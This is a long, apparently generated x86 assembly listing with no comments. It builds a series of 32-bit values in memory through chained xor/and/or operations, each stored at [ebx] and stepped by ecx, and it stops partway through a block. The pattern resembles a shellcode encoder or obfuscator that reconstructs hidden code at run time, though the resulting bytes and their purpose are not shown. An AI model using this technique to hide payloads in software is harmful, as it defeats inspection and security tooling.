xor eax, 0x225785d5
xor eax, 0xf0fa1cd
and eax, 0xe5103829
or eax, 0xa010294
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52ad4944
and eax, 0x3e111b10
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2730c6f5
or eax, 0x54acec2
and eax, 0x82a0103
or eax, 0x62002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x221958cb
and eax, 0xa025940
or eax, 0x1000420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bc6407
and eax, 0x2000400
or eax, 0xe10b200d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59ab61f4
and eax, 0x1a000019
or eax, 0x455a0806
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d371d06
and eax, 0x10051511
or eax, 0x80802000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43b89a8b
and eax, 0x53218180
or eax, 0x2cc04045
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b9b1b72
xor eax, 0x4ddce949
and eax, 0x30040222
or eax, 0xc8c84441
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43244678
or eax, 0x9416d8a
and eax, 0x21a12003
or eax, 0x40021004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14297f9a
and eax, 0x51880719
or eax, 0x82518042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c4b3dc4
and eax, 0xc10328a
or eax, 0x94040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7769feb6
xor eax, 0x59d44e0d
and eax, 0x58412408
or eax, 0x2220320
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3610d875
xor eax, 0x2285222c
and eax, 0x4b08050
or eax, 0x2012202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d081865
and eax, 0x1a992a03
or eax, 0xc4464080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61455637
and eax, 0x8d983494
or eax, 0x40658100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fbd49ca
and eax, 0x6263d8d1
and eax, 0x40411880
or eax, 0x11040101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cb4f25
and eax, 0x548a44a0
or eax, 0x8011a859
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e93e8ad
and eax, 0x40080054
or eax, 0x11553baa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x194498a1
and eax, 0x40112143
or eax, 0x37421c20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e24430b
and eax, 0x61319384
and eax, 0x21001300
or eax, 0x1e080c76
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5716ddde
and eax, 0x38648cc8
and eax, 0x40000
or eax, 0xd2c01a10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x97a08e4
and eax, 0x8a2e0014
or eax, 0x2401040a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12168650
or eax, 0x17c6309
and eax, 0x1f0d2500
or eax, 0x8a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bf4de70
and eax, 0x44d8b180
or eax, 0xaa060827
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a481327
and eax, 0x3c01187c
and eax, 0x28001004
or eax, 0x728e143
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x509a2aee
xor eax, 0x31950d69
and eax, 0x4e074000
or eax, 0x81580920
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5457f768
or eax, 0x6761ae07
and eax, 0xec20aa4e
or eax, 0x240b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ad4b907
xor eax, 0x48c52067
and eax, 0x2413421c
or eax, 0x40880421
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d1112ea
and eax, 0x15bbc105
and eax, 0x1094000
or eax, 0x6a440390
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f17f84f
and eax, 0x22054000
or eax, 0x14602074
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3643132a
and eax, 0x26120a
or eax, 0x765880a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x347f942e
and eax, 0x40010400
or eax, 0x1c8af15a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x640f61c8
xor eax, 0x7e57d338
and eax, 0x1804b060
or eax, 0x81a30906
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30e6a69c
or eax, 0x64773e7
and eax, 0x6212384
or eax, 0x48100410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x193d85f8
or eax, 0x2e2eaacb
and eax, 0x47170b0e
or eax, section..text
mov dword [ebx], eax
add ebx, ecx
or eax, 0x485a773c
and eax, 0x4536824
or eax, 0x80200041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x289be191
and eax, 0x20f3e854
or eax, 0x5104020a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x189f6ea1
and eax, 0x19616a6d
or eax, 0x4000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53d8434f
or eax, 0x663e1c05
and eax, 0x17105641
or eax, 0x10110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8bbb880
and eax, 0x2c3e7212
and eax, 0x1000
or eax, 0xe30ec70e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f85cbc1
and eax, 0x61044300
or eax, 0x1058181c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77fbd514
xor eax, 0x533a673e
and eax, 0x51144812
or eax, 0x2401040
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc9ac8c7
and eax, 0x100040
or eax, 0xc80a0320
mov dword [ebx], eax
add ebx, ecx
or eax, 0xba14050
and eax, 0xc8ba4050
or eax, 0x2040948a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe09f823
and eax, 0x7d195f64
and eax, 0x44110000
or eax, 0xb06209c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c81761a
and eax, 0x40002000
or eax, 0x80ca58c6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38e80ac6
and eax, 0xc0201000
or eax, 0x7448493
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c8243a2
or eax, 0x48ca2132
and eax, 0x9eed501
or eax, 0x4010800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f7aeba8
and eax, 0x40100620
or eax, 0x1228940
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf70d197
and eax, 0x4e425242
or eax, 0x10010008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x517f19b5
and eax, 0x6238684f
and eax, 0x230404d
or eax, 0xbc813020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c7f154e
and eax, 0x77747f5c
and eax, 0x14200000
or eax, 0x9cda020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x626b9791
and eax, 0x618000
or eax, 0x5940082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5dadde02
and eax, 0x59d0da28
and eax, 0
or eax, 0xf8072a28
mov dword [ebx], eax
add ebx, ecx
and eax, 0x288981c9
and eax, 0x20000000
or eax, 0x107c9c07
mov dword [ebx], eax
add ebx, ecx
and eax, 0x368ccd03
and eax, 0x200c0800
or eax, 0x7226068
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dce56ba
and eax, 0x6733b1b5
and eax, 0x3222030
or eax, 0x1d0a0f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5825e33f
xor eax, 0x79bd731
and eax, 0x4000600
or eax, 0x34200c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7806dd95
or eax, 0x79b84c00
and eax, 0x55327218
or eax, 0x82000022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x371cf806
and eax, 0x6005002
or eax, 0x282f0eac
mov dword [ebx], eax
add ebx, ecx
and eax, 0x568bdde9
and eax, 0x31c80
or eax, 0x58c02012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x577e24ff
xor eax, 0x4c9ad61
and eax, 0x10038941
or eax, 0x2230340c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x244fb29
or eax, 0x78f55ead
and eax, 0x3a317625
or eax, 0x1020012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d391008
xor eax, 0x26056589
and eax, 0x100b0002
or eax, 0x9302409
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ab89e7
and eax, 0xa8085cc
or eax, 0xc4474201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30fb4dad
and eax, 0x7a244f20
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7636c25b
xor eax, 0x2f8d80a2
and eax, 0x509a48c1
or eax, 0x8840b002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32ea20d5
or eax, 0x59d66929
and eax, 0x7962703c
or eax, 0xc0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x410050ae
and eax, 0x36791a1
and eax, 0x1000020
or eax, 0x50746e40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8ca1fca
or eax, 0x44d27bb4
and eax, 0x4507764
or eax, 0x2d0000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x571e0f98
and eax, 0x3480b18
or eax, 0x88000002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40a8d3f
xor eax, 0xe0c566d
and eax, 0x14ec040
or eax, 0x76312f34
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31f9cc8
or eax, 0x61343645
and eax, 0x74737748
or eax, 0x80800002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65747558
and eax, 0x64605448
or eax, 0x80838097
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c0424f5
and eax, 0x2cfeea74
and eax, 0x28e2e020
or eax, 0x52081cd0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa7f9bc5
and eax, 0xd40b51
or eax, 0x80000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f8ca9ad
xor eax, 0x52419df4
and eax, 0x52440430
or eax, 0x9004900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35229853
or eax, 0x49deccf2
and eax, 0x61644450
or eax, 0x1000c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x272ee2f5
and eax, 0x464a0028
or eax, 0x98b04040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55887057
and eax, 0xb120006
or eax, 0x34000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57a7604b
and eax, 0x20110000
or eax, 0x82001c32
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37e19d8a
and eax, 0xa043452
and eax, 0x10
or eax, 0xd2faf40d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7943010d
and eax, 0xb9a1f014
or eax, 0x400e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6343fd2e
or eax, 0x76af1607
and eax, 0x34232605
or eax, 0x100018
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e473754
and eax, 0x3e185641
and eax, 0x20000400
or eax, 0x42612a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x136dfa86
and eax, 0x112a1f00
or eax, 0x44c02043
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a243954
and eax, 0x1d0c1699
and eax, 0x11041210
or eax, 0xe082a9a4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51f41366
xor eax, 0x2240209a
and eax, 0x1020820
or eax, 0xc082413
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d4161ab
xor eax, 0x7e87f554
and eax, 0x124c200c
or eax, 0x61204620
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5161e9f1
and eax, 0x2dcfc342
and eax, 0x1400000
or eax, 0x121d204a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x393d3ad2
and eax, 0x6054d0ad
and eax, 0x1008
or eax, 0x4aba8a10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3754bb90
or eax, 0x318468e5
and eax, 0x2c82002d
or eax, 0x82009410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe7a6f8c
xor eax, 0x2eb2990d
and eax, 0x8440008c
or eax, 0x31359d00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26725d51
and eax, 0x8001c099
or eax, 0x40c80722
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42b41dad
and eax, 0xc28594a6
or eax, 0x30002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bffb8e2
and eax, 0x8b499442
or eax, 0x4000319
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58fb682f
and eax, 0xc3b29310
or eax, 0x844008a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e1bbf9
xor eax, 0x2a595647
and eax, 0x60446c24
or eax, 0xd910149
mov dword [ebx], eax
add ebx, ecx
or eax, 0x615f8bae
and eax, 0x401e606
or eax, 0x12001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7aaa434
and eax, 0x600a000
or eax, 0x494f5922
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e3bbcbe
or eax, 0x60ea1972
and eax, 0x6019050
or eax, 0x11004681
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59a40962
or eax, 0x182f3446
and eax, 0x19011713
or eax, 0x100008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ad16e62
and eax, 0x2801818
or eax, 0x280f8406
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62470fdf
and eax, 0x8479853
or eax, 0x200020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55bda901
and eax, 0x48800
or eax, 0xcdd815fe
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d1e095b
and eax, 0x204290a5
or eax, 0x1719694a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25bacbb6
and eax, 0x2001250
or eax, 0xd080c20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24532fe
and eax, 0x90d0400
or eax, 0x30120330
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d993418
xor eax, 0x1a8d7c3f
and eax, 0x2120b03
or eax, 0x58613408
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3349bca8
and eax, 0x50622a2b
or eax, 0x80044050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d33445c
and eax, 0x25452e27
or eax, 0x22851d8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19de6c5b
and eax, 0x1040001
or eax, 0xc311100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bb4587b
and eax, 0x241000
or eax, 0x12002424
mov dword [ebx], eax
add ebx, ecx
and eax, 0x28ffe0a2
and eax, 0x42000
or eax, 0x64ca5e9b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x765bb8f1
or eax, 0x29596d7d
and eax, 0x148ab3df
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8e63164
and eax, 0xc200292
or eax, 0x43032c00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x629bfb25
xor eax, 0x7c813fff
and eax, 0x1108e208
or eax, 0xa4020537
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4190686e
and eax, 0x48d26bdd
and eax, 0xc
or eax, 0xaaa61270
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e74a671
and eax, 0x3e303219
or eax, 0x40000802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76934f75
and eax, 0x2c327347
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd26d78e
xor eax, 0x2ca35867
and eax, 0x81ae08
or eax, 0xca4a5006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21067af5
and eax, 0x6b4c80f8
or eax, 0x4224300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3eaa1420
xor eax, 0x4175c6ee
and eax, 0x27100248
or eax, 0x90a01020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19c19be
or eax, 0xadcdf14
and eax, 0x8809430
or eax, 0x10232081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37a3b783
and eax, 0x10a3b481
or eax, 0xa31c0a24
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13fd42cc
and eax, 0x7a2976e7
and eax, 0x2200080
or eax, 0x8580a938
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a7969c6
xor eax, 0x3d25034e
and eax, 0x8020a0
or eax, 0x2c01144b
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfb427b
xor eax, 0x4b246885
and eax, 0x4b246824
or eax, 0x34520500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30ba9d0f
or eax, 0x527e9ecb
and eax, 0x51202c63
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2593b470
xor eax, 0x6cf26dff
and eax, 0x984141c4
or eax, 0x67080203
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x72c5e6ae
and eax, 0x8d880168
or eax, 0x40105880
mov dword [ebx], eax
add ebx, ecx
and eax, 0x355904c8
xor eax, 0x6ddd0f96
and eax, 0x4884075c
or eax, 0x85307021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50ebc34a
and eax, 0x69abc3d
and eax, 0x4002000
or eax, 0xea844bc0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43a4e18e
and eax, 0x42000
or eax, 0x15200c69
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2af4558c
and eax, 0x7607908
or eax, 0xc00b0210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51d84b32
and eax, 0x86912002
or eax, 0x80c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7113d6bc
and eax, 0x65822416
or eax, 0x448881
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68ca9396
xor eax, 0x69a8b8bb
and eax, 0x44800128
or eax, 0x13402000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d727fe0
xor eax, 0x16ab2e05
and eax, 0xc10604c
or eax, 0x83008f12
mov dword [ebx], eax
add ebx, ecx
and eax, 0x842c9d5
or eax, 0x79df9791
and eax, 0x3192d385
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f63e201
and eax, 0x50502004
or eax, 0xa0200a6b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e17740b
or eax, 0x229cc7cf
and eax, 0xb0ce8d8d
or eax, 0x41000010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a666ed0
and eax, 0x52c282dd
or eax, 0x4110022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a90f5b0
and eax, 0x62c76265
and eax, 0x60014201
or eax, 0x950494a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55595f25
and eax, 0x776173bc
and eax, 0x184
or eax, 0x1b1d1613
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cebdb55
or eax, 0x4a428e9f
and eax, 0x5500000
or eax, 0x10000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x525d72ca
and eax, 0x10500000
or eax, 0x48091515
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39bc81d4
and eax, 0x41411440
or eax, 0x9a10481c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1994ad60
and eax, 0xd3004520
or eax, 0x20280203
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cc648cf
or eax, 0x63962d70
and eax, 0x51902401
or eax, 0x21120c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78286ad2
and eax, 0x59105251
or eax, 0x420100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f5a46aa
and eax, 0x685ad58a
and eax, 0x48425008
or eax, 0x24000250
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43efbbe6
and eax, 0x20016b6c
or eax, 0x10100001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f577eb6
and eax, 0x13102117
or eax, 0xc0288000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25a3ba19
or eax, 0x1cc65379
and eax, 0x10464109
or eax, 0x40000c04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x166bbab5
or eax, 0x377e80f2
and eax, 0x11500040
or eax, 0x48005100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f7c62de
and eax, 0x26873c37
and eax, 0x6000006
or eax, 0x51524c48
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b9edfcb
and eax, 0xdd1bb5f
and eax, 0x1100842
or eax, 0x9cc2c115
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9afe78d
and eax, 0x265146e7
and eax, 0x4100c2
or eax, 0x1180c10c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10fad83
and eax, 0x3019a6c
and eax, 0x1008800
or eax, 0x40cc5733
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48ba346c
and eax, 0x8422944
or eax, 0xf68010a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7343c304
or eax, 0x6d2baf9f
and eax, 0x6a6a3fbe
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71588bde
and eax, 0x21422864
or eax, 0x14001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f8dba79
xor eax, 0x6af29d26
and eax, 0x14144900
or eax, 0xa2023080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c21b948
and eax, 0xa07c0c0
or eax, 0x5403c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb3f6749
and eax, 0x3070400
or eax, 0xc4609a94
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2991f67b
or eax, 0x53a83207
and eax, 0x6d75e4e5
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x96d7aa1
xor eax, 0x198d671
and eax, 0x8ad8200
or eax, 0x5502012d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cb40b3c
xor eax, 0x3941d655
and eax, 0x45e19479
or eax, 0x800a2884
mov dword [ebx], eax
add ebx, ecx
and eax, 0x264eeb6e
and eax, 0x25115f7a
and eax, 0x4000848
or eax, 0xda913703
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37ffd02
and eax, 0xcd158d42
or eax, 0xb0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x94924fc
xor eax, 0x635f8ce8
and eax, 0x82000016
or eax, 0x519490a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x627a932c
and eax, 0xb3c883b2
or eax, 0x8016441
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7bc77e2a
and eax, 0x1002602
or eax, 0xc02e98dd
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bfe9e52
and eax, 0x54da3190
and eax, 0xda0000
or eax, 0x9b208e43
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4dc131cb
or eax, 0x7a0f15ab
and eax, 0xe3db2c0b
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x157a935c
and eax, 0xc0000507
or eax, 0x40030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f99729f
or eax, 0x4e0d4808
and eax, 0xe081d28
or eax, 0x28006
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1765fc96
xor eax, 0x7c54f8b6
and eax, 0x42290500
or eax, 0x18446820
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73628e0c
and eax, 0x2200800
or eax, 0xc116148
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe52d4e6
and eax, 0x6100000
or eax, 0xe043890c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77156e94
and eax, 0x2110800
or eax, 0x90e661a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6db72cb7
or eax, 0x1cde4dce
and eax, 0x391281c
or eax, 0x8200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63eb2e49
and eax, 0x190544a8
and eax, 0x400
or eax, 0x62bbb74
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60e3a43e
and eax, 0x2960091
and eax, 0
or eax, 0x5e1c76e8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x529d930
or eax, 0x3679bc98
and eax, 0x6d189e08
or eax, 0x20004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x740cb6fc
and eax, 0x64001000
or eax, 0x1070032
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6661f3e4
and eax, 0x22e242
or eax, 0xc28
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5cac3e06
or eax, 0xf8e59d4
and eax, 0x11840000
or eax, 0xa0110000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ba5410a
or eax, 0x16c68c17
and eax, 0x7070518
or eax, 0x2e0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a57e525
xor eax, 0x67197088
and eax, 0x2010205
or eax, 0x5060502
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6597cec9
and eax, 0x7070707
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb439bd7
xor eax, 0x71a26bb6
and eax, 0x6050401
or eax, 0x1020306
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ecdcc84
and eax, 0x9c8c903
or eax, 0xb0111064
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b272390
and eax, 0xa856dbd3
or eax, 0x40000008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39dbb152
and eax, 0x6944a1cb
and eax, 0x28000040
or eax, 0x528558a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17ec4242
and eax, 0x68c6910b
and eax, 0
or eax, 0x9c63ae2d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fd1c795
and eax, 0x23b26130
or eax, 0x44450647
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41af64f
or eax, 0x2d11f328
and eax, 0x25136767
or eax, 0x42e40090
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fe1d274
or eax, 0x474f1eba
and eax, 0x25ad4aec
or eax, 0xa101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3002c8f9
xor eax, 0x3b011aa0
and eax, 0x1b004000
or eax, 0xa4642522
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x552b3129
and eax, 0x4846440a
or eax, 0x100089c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x143c8abb
or eax, 0xead03a5
and eax, 0x1889018b
or eax, 0xc0403450
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e7bbe39
xor eax, 0x719bbc25
and eax, 0x20900000
or eax, 0x40c7103
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f3a125
and eax, 0x25252125
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x382cd6ce
and eax, 0x1e7e32b2
and eax, 0xc083220
or eax, 0x8182cd04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x706330e3
and eax, 0x21000
or eax, 0x75990806
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62b1b4a
or eax, 0x5a35d2b0
and eax, 0x52039888
or eax, 0x400001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe78a319
and eax, 0x18081390
or eax, 0x23408002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe207d79
and eax, 0x3251eb1c
and eax, 0x20404000
or eax, 0xc62d0530
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24e7fbe9
xor eax, 0x52711acf
and eax, 0x912010
or eax, 0x69045be8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c581657
xor eax, 0x682df2d6
and eax, 0x4d08128
or eax, 0xca012250
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6cfc8b92
and eax, 0x285c8382
or eax, 0x1000404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ca233f3
and eax, 0xf3b23aa
and eax, 0x83a2122
or eax, 0x3081840c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17e4453f
and eax, 0x38e6a314
and eax, 0x20022010
or eax, 0xc0390ac6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77aed485
xor eax, 0x45462184
and eax, 0x2d211d1
or eax, 0xc082020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x622533d5
xor eax, 0x12b93137
and eax, 0x26001003
or eax, 0x80a1c40c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4477bf7f
and eax, 0x39ee25c8
and eax, 0x802100
or eax, 0x5e30122d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7942f82e
and eax, 0x7960b322
or eax, 0x80080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15e48ed
and eax, 0x6229589f
and eax, 0x20005800
or eax, 0x180903b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3cc2f288
and eax, 0x188a72b0
or eax, 0x81100041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x599c0fcb
xor eax, 0x173db45f
and eax, 0xa21b28a
or eax, 0xd11a4861
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68b519a0
and eax, 0x8111880
or eax, 0x114e4153
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7369bda8
xor eax, 0x397b3cbf
and eax, 0x40044000
or eax, 0xa1912a9a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9ab770
and eax, 0x200d4580
or eax, 0x14b00014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a803a2e
and eax, 0x42679fce
and eax, 0x11a80
or eax, 0x10100071
mov dword [ebx], eax
add ebx, ecx
and eax, 0x508eeceb
and eax, 0x100008c1
or eax, 0x22b9b60a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf509771
xor eax, 0x62347fcf
and eax, 0x1d410624
or eax, 0xa000a908
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d4934ab
and eax, 0xc90137ac
or eax, 0x44000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22089956
and eax, 0x23008988
or eax, 0x4520000
